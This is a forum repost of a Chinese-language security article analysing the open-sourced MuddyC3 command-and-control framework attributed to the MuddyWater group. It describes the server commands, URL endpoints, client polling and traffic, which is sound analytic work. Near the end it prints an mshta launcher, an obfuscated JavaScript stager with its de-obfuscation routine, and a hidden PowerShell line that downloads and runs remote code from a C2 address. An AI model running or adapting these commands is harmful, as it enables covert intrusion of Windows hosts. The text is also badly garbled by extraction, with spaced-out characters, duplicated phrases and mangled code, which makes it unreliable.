搜索

[14614] 2019-09-21_污水攻击MuddyC3开源代码分析

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-09-21_污水攻击MuddyC3开源代码分析 污 水 攻 击 M u d d y C 3 开 源 代 码 分 析 D i g A p i s   F r e e B u f   2 0 1 9 - 0 9 - 2 1 前 言 前 言 M u d d y W a t e r 是 一 个 伊 朗 威 胁 组 织 ， 主 要 针 对 中 东 、 欧 洲 和 北 美 国 家 。 该 组 织 针 对 的 目 标 主 要 是 电 信 ， 政 府 （ 是 一 个 伊 朗 威 胁 组 织 ， 主 要 针 对 中 东 、 欧 洲 和 北 美 国 家 。 该 组 织 针 对 的 目 标 主 要 是 电 信 ， 政 府 （ I T 服 务 ） 和 石 油 部 门 。 众 多 安 全 研 究 机 构 针 对 服 务 ） 和 石 油 部 门 。 众 多 安 全 研 究 机 构 针 对 m u d d y w a t e r 的 样 本 进 行 了 深 的 样 本 进 行 了 深 入 的 研 究 。 入 的 研 究 。 2 0 1 9 年 年 6 月 月 2 4 日 ， 名 为 日 ， 名 为 0 x f f f f 0 8 0 0 的 用 户 在 的 用 户 在 t w i t t e r 上 发 表 推 文 表 示 ， 其 开 源 了 污 水 攻 击 的 上 发 表 推 文 表 示 ， 其 开 源 了 污 水 攻 击 的 p y t h o n 版 代 码 。 本 文 就 该 代 码 ， 一 窥 版 代 码 。 本 文 就 该 代 码 ， 一 窥 m u d d y w a t e r 的 攻 击 过 程 。 的 攻 击 过 程 。 该 用 户 在 g i t h u b 上 开 源 的 代 码 有 两 个 版 本 ， 本 次 我 们 分 析 的 是 1 . 0 . 1 版 本 。 整 体 结 构 整 体 结 构 M u d d y C 3 的 整 体 C 2 通 信 结 构 图 如 上 所 示 ： 整 个 通 信 过 程 有 三 个 要 素 ， 即 攻 击 端 、 C 2 网 站 和 目 的 主 机 。 其 中 C 2 网 站 指 的 是 被 攻 击 者 拿 到 控 制 权 限 的 w e b 网 站 。 C 2 网 站 可 能 不 止 一 个 。 攻 击 过 程 中 ， 攻 击 者 将 攻 击 指 令 以 p o w e r s h e l l 代 码 的 形 式 注 入 C 2 网 站 ， 被 感 染 的 目 的 主 机 主 动 向 C 2 网 站 发 送 h t t p 请 求 ， 得 到 攻 击 命 令 ， 调 用 p o w e r s h e l l 接 口 执 行 命 令 。 A P T 攻 击 分 三 个 阶 段 进 行 ， 分 别 是 ： （ 1 ） 感 染 ； （ 2 ） C 2 通 信 ； （ 3 ） 信 息 泄 漏 。 本 文 中 我 们 直 接 将 恶 意 程 序 部 署 在 目 标 主 机 上 ， 因 此 感 染 阶 段 略 去 不 提 。 值 得 注 意 的 是 ， 真 实 场 景 中 ， 污 水 攻 击 感 染 过 程 通 过 传 播 宏 病 毒 展 开 。 目 标 主 机 感 染 宏 病 毒 后 会 进 行 修 改 注 册 表 等 操 作 。 一 、 服 务 端 一 、 服 务 端 1 . 1 服 务 端 运 行 服 务 端 运 行 运 行 m u d d y c 3 . p y 文 件
需 要 输 入 i p 、 端 口 和 是 否 需 要 代 理 输 入 完 成 后 进 入 命 令 界 面 （ 见 1 . 1 . 6 h e l p 命 令 ） 1 . 1 . 1   l i s t 命 令 用 来 列 举 a g e n t 信 息 ， 列 举 结 果 示 意 如 下 ： 1 . 1 . 2   s h o w 命 令 目 前 尚 未 开 发 。 1 . 1 . 3   u s e 命 令 u s e 命 令 后 需 要 a g e n t   i d 作 为 参 数 ， 命 令 格 式 为 ： 命 令 结 果 是 进 入 i d 下 的 命 令 界 面 ： 在 该 界 面 发 出 命 令 ， 相 应 命 令 分 析 见 2 . 2 . 2 节 。 以 / g e t 命 令 为 例 ： 1 . 1 . 4   p a y l o a d 命 令 p a y l o a d 命 令 列 举 出 目 前 服 务 端 程 序 中 已 有 的 p o w e r s h e l l 注 入 命 令 。 1 . 1 . 5   b a c k 命 令 1 . 1 . 6   h e l p 命 令 u s e   i d
1 . 1 . 7   e x i t 命 令 e x i t 命 令 结 束 客 户 端 程 序 。 1 . 2 参 数 分 析 参 数 分 析 通 过 分 析 c o r e . c m d . p y 文 件 ， 得 出 A G E N T S 字 典 中 每 个 元 素 的 结 构 如 下 ： 角 标 角 标 参 数 参 数 归 属 归 属 * i d k e y 值 0 E x t e r n a l I P d a t a 1 i d d a t a 2 s t a t u s d a t a 3 o s d a t a 4 I n t e r n a l I P d a t a 5 A r c h d a t a 6 C o m p u t e r N a m e d a t a 7 U s e r N a m e d a t a A G E N T 是 一 个 ' i d : d a t a ' 形 式 的 字 典 ， 其 中 d a t a 格 式 如 下 ： 角 标 角 标 参 数 参 数 0 i d 1 s t a t u s 2 I n t e r n a l   I P 3 O S 4 A r c h 5 C o m p u t e r   N a m e 6 U s e r   N a m e 在 c o r e . w e b s e r v e r . p y 文 件 中 ， u r l 访 问 功 能 分 类 如 下 ： 编 号 编 号 类 别 类 别 表 示 方 法 表 示 方 法 g e t / p o s t 功 能 或 结 果 功 能 或 结 果 1 i n d e x / g e t 返 回 ‘ h e l l o ’ 2 p a y l o a d / g e t g e t 返 回 ‘ c o n f i g / P A Y L O A D ( ) ’ 3 p a y l o a d c / g e t c g e t 返 回 ‘ t o B 5 2 ( c o n f i g / P A Y L O A D ( ) ) ’ 4 p a y l o a d j f / h j f g e t 返 回 C : / / P r o g r a m D a t a 下 a . z i p 和 b . p s 1 5 p a y l o a d j f s / h j f s g e t 返 回 C : / / P r o g r a m D a t a 下 s c t . i n i 6 s c t / s c t g e t 返 回 p s 1 文 件 7 m s h t a / h t a g e t 返 回 p s 1 文 件 8 i n f o / i n f o / ~ p o s t 查 询 i d ， 若 不 存 在 则 在 A G E N T S 中 添 加 9 d o w n l o a d / d l / ~ p o s t 从 服 务 端 指 定 路 径 下 载 文 件 1 0 u p l o a d / u p 暂 不 支 持 该 功 能 1 1 i m g / i m g / ~ p o s t 得 到 相 关 i m g 1 2 c o m m a n d / c m / ~ g e t 得 到 ‘ c o n f i g . C O M M A N D [ i d ] ’ 中 的 命 令 1 3 r e s u l t / r e / ~ p o s t 得 到 指 定 i d 主 机 的 d a t a 1 4 m o d u l e s / m d / ~ p o s t 添 加 模 块 1 . 3 w e b s e r v e r 分 析 分 析 运 行 后 可 以 访 问 之 前 输 入 的 C & C 地 址 访 问 i n d e x 路 径 ， 即 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 访 问 g e t 路 径 ， 得 到 p a y l o a d
访 问 / g e t c 路 径 得 到 p a y l o a d 的 b a s e 6 4 编 码 ， 另 有 / h j f 、 / h j f s 路 径 与 此 相 似 访 问 d o w n l o a d 路 径
访 问 / i n f o , 由 于 i n f o 使 用 p o s t 包 ， 调 整 A G E N T S 和 p o s t 请 求 包 b o d y 结 构 后 ， 结 果 如 下 ： 第 二 次 添 加 访 问 i n f o 路 径 的 p o s t 请 求 组 成 ： 二 、 客 户 端 二 、 客 户 端 2 . 1 客 户 端 运 行 客 户 端 运 行 p y t h o n 脚 本 中 运 行 p o w e r s h e l l 命 令 ， 会 出 现 安 全 问 题 以 管 理 员 身 份 运 行 p o w e r s h e l l ，
2 . 2 客 户 端 流 程 客 户 端 流 程 2 . 2 . 1 访 问 / i n f o 客 户 端 开 启 后 ， 首 先 访 问 / i n f o 进 行 注 册 ， 注 册 用 i d 在 本 地 是 以 随 机 数 形 式 确 定 ， 然 后 向 服 务 端 发 送 p o s t 包 。 客 户 端 首 先 向 服 务 端 询 问 对 应 i d 是 否 存 在 ， 若 存 在 则 服 务 端 返 回 ‘ N O N E ’ ， 客 户 端 重 新 选 取 随 机 数 进 行 注 册 直 至 成 功 。 注 册 成 功 后 ， 客 户 端 反 馈 ： 2 . 2 . 2 访 问 / c m 带 i d 访 问 / c m 接 口 ， 访 问 / c m / [ i d ] , 取 得 服 务 端 发 送 的 控 制 命 令 ， 控 制 命 令 组 成 如 下 ： 编 号 编 号 表 示 表 示 意 义 意 义 1 / g e t 访 问 / g e t 接 口 2 / g e t c 访 问 / g e t c 接 口 3 / h j f 访 问 / h j f 接 口 4 / h j f s 访 问 / h j f s 接 口 5 / s c t 访 问 / s c t 接 口 6 / h t a 访 问 / h t a 接 口 7 d l 访 问 / d l 接 口 8 / u p 访 问 / u p 接 口 9 / i m g 访 问 / i m g 接 口 1 0 / m d 访 问 / m d 接 口 1 1 其 他 其 他 p o w e r s h e l l 可 以 直 接 执 行 的 命 令 服 务 端 顺 序 发 出 了 三 个 命 令 ： 客 户 端 取 命 令 ： 由 此 可 见 客 户 端 取 命 令 时 按 服 务 端 下 命 令 的 顺 序 ， 一 次 取 一 个 ， 取 完 之 后 所 有 命 令 后 ， 再 访 问 / c m / [ i d ] , 得 到 的 数 据 为 空 2 . 2 . 3 访 问 / r e 客 户 端 取 出 命 令 后 执 行 ， 然 后 在 / r e / [ i d ] 接 口 返 回 执 行 结 果 。 服 务 端 的 显 示 ： 客 户 端 的 显 示 ： 三 、 三 、 p o w e r s h e l l 命 令 分 析 命 令 分 析 污 水 攻 击 的 命 令 均 以 p o w e r s h e l l 方 式 执 行 ， 接 下 来 我 们 跟 随 服 务 端 给 出 的 顺 序 来 分 析 p o w e r s h e l l 命 令 。 首 先 ， 服 务 端 启 动 时 ， 给 出 的 网 址 为 ： m s h t a   h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 / h t a
访 问 h t a ： 得 到 的 j s 代 码 为 ： 其 中 对 e s 变 量 做 了 如 下 混 淆 ： 解 混 淆 后 得 到 的 j s 代 码 如 下 ： 在 p o w e r s h e l l 中 执 行 后 ， 向 h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 / g e t 发 g e t 请 求 ， 得 到 已 经 存 在 于 服 务 端 的 p a y l o a d . p s 1 文 件 的 内 容 ， 但 是 由 于 p a y l o a d . p s 1 没 有 开 源 ， 所 以 p o w e r s h e l l 的 解 析 不 能 继 续 向 下 进 行 。 四 、 流 量 分 析 四 、 流 量 分 析 捕 获 本 地 流 量 如 下 ： 目 的 端 口 是 在 服 务 端 输 入 指 定 ， 源 端 口 随 机 。 （ 本 次 实 验 中 指 定 的 目 的 端 口 为 1 2 3 4 ， 源 端 口 从 9 1 4 1 开 始 ， 每 个 包 累 加 ） 五 、 污 水 攻 击 特 点 总 结 五 、 污 水 攻 击 特 点 总 结 5 . 1 心 跳 周 期 心 跳 周 期 被 控 端 定 期 向 主 控 端 发 出 g e t 请 求 ， 查 看 是 否 有 新 的 命 令 。 5 . 2   h t t p 请 求 成 对 出 现 请 求 成 对 出 现 一 次 取 命 令 对 应 一 次 命 令 执 行 结 果 回 传 。 5 . 3 云 控 下 发 云 控 下 发 p o w e r s h e l l 脚 本 脚 本 m s h t a   h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 / h t a v a r   e s   =   ' % g k { d m F y I ! ~ t P S J w , 3 d l c n ~ o Z W - s I % 1 l e ! V j I ! J 5 c ! F z c y A t d y A - I % 1 j I % R W P W 5 l d y 1 v Y m p l Y 3 Q g , m V 0 L n d l Y m ~ s [ W V u d @ s k V i 5 w c * * 4 e T 1 , T m V 0 L l d l Y l J l c X V l c 3 R d } j p $ Z X R T e X ~ 0 Z W 1 X Z W J Q c * * 4 e S g p } y R W L l B y , 3 h 5 L k ~ y Z W R l , n R p Y W - z P V t } Z X Q u Q 3 J l Z ! V u d ! l h , e v a l ( b a s ( e s ) ) ； s t r i n g   =   r e p l a c e A l l ( ' ] ' , ' = ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' [ ' , ' a ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' , ' , ' b ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' @ ' , ' D ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' - ' , ' x ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' ~ ' , ' N ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' * ' , ' E ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' % ' , ' C ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' $ ' , ' H ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' ! ' , ' G ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' { ' , ' K ' , s t r i n g ) ;             s t r i n g   =   r e p l a c e A l l ( ' } ' , ' O ' , s t r i n g ) ;             v a r   c h a r a c t e r s   =   " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 + / = " ;             v a r   r e s u l t           =   ' ' ; v a r   c m = " p o w e r s h e l l   - e x e c   b y p a s s   - w   1   - c   $ V = n e w - o b j e c t   n e t . w e b c l i e n t ; $ V . p r o x y = [ N e t . W e b R e q u e s t ] : : G e t S y s t e m W e b P r o x y ( ) ; $ V . P r o x y . C r e d e n t i a l s = [ N e t . C r e d e n t i a l C a c h e ] : : D e f a u l t C r e d e n t i a l s ; I E X ( v a r   w 3 2 p s =   G e t O b j e c t ( ' w i n m g m t s : ' ) . G e t ( ' W i n 3 2 _ P r o c e s s S t a r t u p ' ) ; w 3 2 p s . S p a w n I n s t a n c e _ ( ) ; w 3 2 p s . S h o w W i n d o w = 0 ; v a r   r t r n C o d e = G e t O b j e c t ( ' w i n m g m t s : ' ) . G e t ( ' W i n 3 2 _ P r o c e s s ' ) . C r e a t e ( c m , ' c : ' , w 3 2 p s , n u l l ) ; h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 / c m / [ i d ] h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 / c m / [ i d ] h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 9 3 : 1 2 3 4 / r e / [ i d ]
传 统 远 控 采 取 命 令 约 定 方 式 ， 主 控 端 向 被 控 端 发 送 命 令 代 码 ， 被 控 端 在 后 门 代 码 中 匹 配 成 功 然 后 执 行 。 而 污 水 攻 击 不 再 使 用 命 令 代 码 ， 而 是 就 地 采 用 被 控 端 本 地 现 有 工 具 p o w e r s h e l l ， 将 命 令 以 高 度 混 淆 的 p o w e r s h e l l 形 式 下 发 ， 这 样 做 保 证 了 样 本 即 使 被 捕 获 ， 恶 意 活 动 不 会 暴 露 、 C 2 服 务 器 不 会 被 溯 源 。 5 . 4 可 滥 用 可 滥 用 w e b 2 . 0 网 站 作 为 信 息 传 输 中 介 网 站 作 为 信 息 传 输 中 介 任 何 主 机 可 以 不 经 注 册 访 问 网 站 ， 向 网 站 发 出 h t t p 请 求 。 污 水 攻 击 利 用 的 w e b 2 . 0 网 站 的 服 务 器 是 攻 击 者 控 制 的 ， 因 此 有 被 溯 源 的 风 险 。 5 . 5 协 议 ： 协 议 ： h t t p 明 文 不 加 密 。 相 关 链 接 相 关 链 接 【 1 】 开 源 代 码 地 址 ： h t t p s : / / g i t h u b . c o m / 0 x f f f f 0 8 0 0 / M u d d y C 3 v 1 . 0 . 1 - 【 2 】 m u d d y w a t e r 相 关 介 绍 ： h t t p s : / / a t t a c k . m i t r e . o r g / g r o u p s / G 0 0 6 9 / * 本 文 作 者 ： 本 文 作 者 ： B U P T / Y o n i ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理